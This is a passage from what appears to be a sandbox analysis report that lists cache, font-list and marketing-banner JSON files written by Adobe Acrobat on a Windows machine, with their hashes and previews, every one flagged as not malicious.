Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7374275296558492
Encrypted:	false
SSDEEP:	3:kkFklkMltfllXlE/HT8kqpXNNX8RolJuRdxLlGB9lQRYwpDdt:kK9keT81dNMa8RdWBwRd
MD5:	A98AAD76D3A00CB58C106D3EE8368C50
SHA1:	F76524D1AA488D850F7A13759BE4F0B1685ADEA6
SHA-256:	2DC901C899ADEA0E4370990DECB1C3BA7E0924E252FDD838B1FE685BD2A08393
SHA-512:	B7086A100EDD0A47A431500DA035DEC4EC1600F59792C04F5448EDDCD1F97F7DF73E26EB63862479F9EE56E4064A2F37EC7567C138DF2C3F77D047717FF74C27
Malicious:	false
Preview:	p...... ........W...cc..(....................................................... ..........W.....G..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2166031644902113
Encrypted:	false
SSDEEP:	6:kKtKPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:VKPiDImsLNkPlE99SNxAhUe/3
MD5:	48611AE47BAAE785DE89D2FB15985EB6
SHA1:	3E783A9C570E4425CEB147E7B0FA8444D22928B6
SHA-256:	3DF46B3281CA00F4A8269D2E493851E48A50ED6C5E3C671A2906E4AA15673E63
SHA-512:	6C6559E1292761FF8BAE7FC38D5A2EAEAF4B8D3302FDD14456C8D7A2B66FC3DFB8253134520F9972ED82835A13EDF846A2D8EEA4868D7E0C53BB61EFE844CD09
Malicious:	false
Preview:	p...... ..........h.cc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.338860771860602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJM3g98kUwPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGMbLUkee9
MD5:	BD28097493A4504D1098A26F50BF7BF2
SHA1:	9C12888ECFC225A5E937EA459234959722A788C1
SHA-256:	9F2392AC7F191C0A6BC51E13FF0FF4F734E26961B65AB3F6A53E3FE0355EEDFE
SHA-512:	41002C5969E462702B88DAA6CC3D74992D56A2B8CA7B4024EBF69506EF504A00A755B6FF1431EE69773B0303924CA1D5666504422C9729CC7AEC5964C0E17225
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272467486576065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfBoTfXpnrPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGWTfXcUkee9
MD5:	DB2170400716FA528AD5F5B55F54601A
SHA1:	CDC9D72276ED964074E29C884C2F3735ABAA1F86
SHA-256:	0779D4DB5B6365C1AF90E41F552CC3A19535254708476F7A226BBD078360AF06
SHA-512:	F6B780D8B82529FB7548037726F84997A2F24AB80B13EAB375A3FE2C19A59EE2F65AAA37A14E87DBD214FC1524F3EEF2B0FAD59FD4120898E79FA7AC3639136B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.25101580310207
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfBD2G6UpnrPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGR22cUkee9
MD5:	7613AC058A762B192B7AA9D6AD9ED102
SHA1:	4662BC6E3EC8789039697DAD69CB81643B3B30C3
SHA-256:	5423C98A6ECEA9661F6A52CBF1D43E5B386BC632BC0B6086C27360D9DCC84048
SHA-512:	258CCA8C7837813B5ED3D454F462652B2843D31159FEB1CBF743819D1853C80107C4408C2D888DACC9C712B171CD2FA8DBC3D9EBF883AECC5F338469DA3F20AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.31494957754777
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfPmwrPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGH56Ukee9
MD5:	2CF1B9DBB85376CE909CA5E006D3B4F7
SHA1:	F6A35861DC8A6A5E9664086DEC8DC5D8BB0D9C22
SHA-256:	CFB349D6AAB77309A4980CF2ED4B97F5336CC7F0C0F8E4385C67231C46FE5EC6
SHA-512:	D4C4A0F19C1FC035EEC74D53DC26E0319DFBD591DE1E1DF2B471B645F48A2B039C6D818E97DD9BA6EDF86EAF76D462A6C92F8844343F19D6F128E6E854B7C7F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69160955487709
Encrypted:	false
SSDEEP:	24:Yv6XdfJhD7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSkl:Yv4JhD7hgy6SAFv5Ah8cv/kl
MD5:	3751F2325DDF016CBCA43A11E6309F6B
SHA1:	0FB91A586E0C4C7DE932F6E603767B946FF0C65E
SHA-256:	BA51AD32B2A3A4D5DFFAB73429BC615AB1313ACB7E01451AA9DBCCB429B9F2D6
SHA-512:	2AEF6D7573C46CAA38607BEAEFB65C37391DB9C25795E85C0F77D7F2D125762B664232FB159D3647F04D2D9E0EA3925C22F34080B301026F3E2C5798F676DF8C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26498964024225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJf8dPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGU8Ukee9
MD5:	A8DA473A1480D336693648D74155778A
SHA1:	36FD54C215A5051B7ECCDBEF176CB60D3E6CDE3B
SHA-256:	3C47B5A2897F69E6A1B4587F5753315445BA0C83E29EEB8FAB7CAF26026E1A06
SHA-512:	360316531378C8FBE7E3F4B36C3526E821A9172BA27EDE7D6DC413C774DC98BDE3109A0F8ECC3A9452E679B71E9E9CC39235DCDCEFE26ABE53C2E8B40F34F91D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.264028303360718
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfQ1rPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGY16Ukee9
MD5:	65C24A7B86138F940FF064D87631C131
SHA1:	506B0AF38AAA2E0C8FC001242C161ED977F5344E
SHA-256:	3F5F96C00420962647163825D3CF323FCDF7D32C3C8BB2B1CAA1FBA2E4541EC4
SHA-512:	FCC6731F18BB68962282BBD908AB402C69178E6C9AD980F4A5172D5397310AF781550EF9A97761AFCEF5F3CF87938B49F99125DB5F56EC699DD0F8314D7DACE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281723728852604
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfFldPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGz8Ukee9
MD5:	6682A72F3FEB1F6D346C30972DB44E0F
SHA1:	0CEC1B835CD4296F19533FFAAC285430FF90BCAB
SHA-256:	802D7D0B169A07DF89A2F403EA9D1FAC317A53991DCE52C8F99588F5B9F26579
SHA-512:	D55060038954ACC402E98959C398AE9E0F9DE78D6C8F1DC2487729E7A344E4C1D977B4007C7BD4AC14A24A5AA623146459961B8078508C4A13C474B6721069CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2934495343840595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfzdPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGb8Ukee9
MD5:	1624EBA537A7013AA7B1F45BCA755518
SHA1:	98E57D51C77ADE3AE398BB52642F91F31058319D
SHA-256:	B1DEE57EA8A2FE4D8675CE73179D18722CFEDDC5A72C9F7AC35CE428067542D8
SHA-512:	FBC6EF9DB6FB0956633B386B683867E7A1938C1CA9FFB3DE829F4A44191A8138E2E3B8D7B3E44507D1A0208A6E355F1D44745E85271B7EA18E49D6801F76E88F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27383274596589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfYdPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGg8Ukee9
MD5:	2860F3439621EA79930646A7F0D0FD07
SHA1:	56EB45A24F8C171C48E8FC7F718516845103EFE6
SHA-256:	A2A692A1E28A3C1A87D22C2A27384CE919854BF4071E88FA38E00823D87D34B5
SHA-512:	72D1CE6172EB96D4508DCBED5455DE54EED096D89FD057BC205C71A3C1AFBD350CED3841C202E16C0A83398501F02F93E428562602C0FDFAF4B60C70FECF2589
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.259721418624255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJf+dPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOG28Ukee9
MD5:	BC5AFC9323A28E498208029AAB3D0E94
SHA1:	C363DF22DB61E7AE3DEF754B3AE3949051D5F0EC
SHA-256:	FC997D57B530BC2BA2ED91201941D54DE2A7A16E4B78996690B7B304E60189CF
SHA-512:	A8AE375D48A4B84E72A99076E6E2A24C778E5D4A7AA1AECA89402DC80F8F91E5E9C3FA6AC6506DF60A1339F4BC97176F313191CD40CCE03817FB8784B07989A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.257559687310091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfbPtdPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGDV8Ukee9
MD5:	D33C87BE5C1FC19E78CD785BB417A627
SHA1:	3D8206AC9E48B3E1DAF8CF19CE6A7AD09A6E291E
SHA-256:	15017CB41F4D0AAD2DB4C97D39F879672B28FC5F5D2001D6AAD37FDCD5030A94
SHA-512:	B0159B7843096FD582CC576F123D95E2CF16B41AE8B1E784D0A047B65C3D3E2C0E0575426420DB62DB0578A16CDE7528640E576E47DD8B903EBB38C54D6C282F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.256536308265335
Encrypted:	false
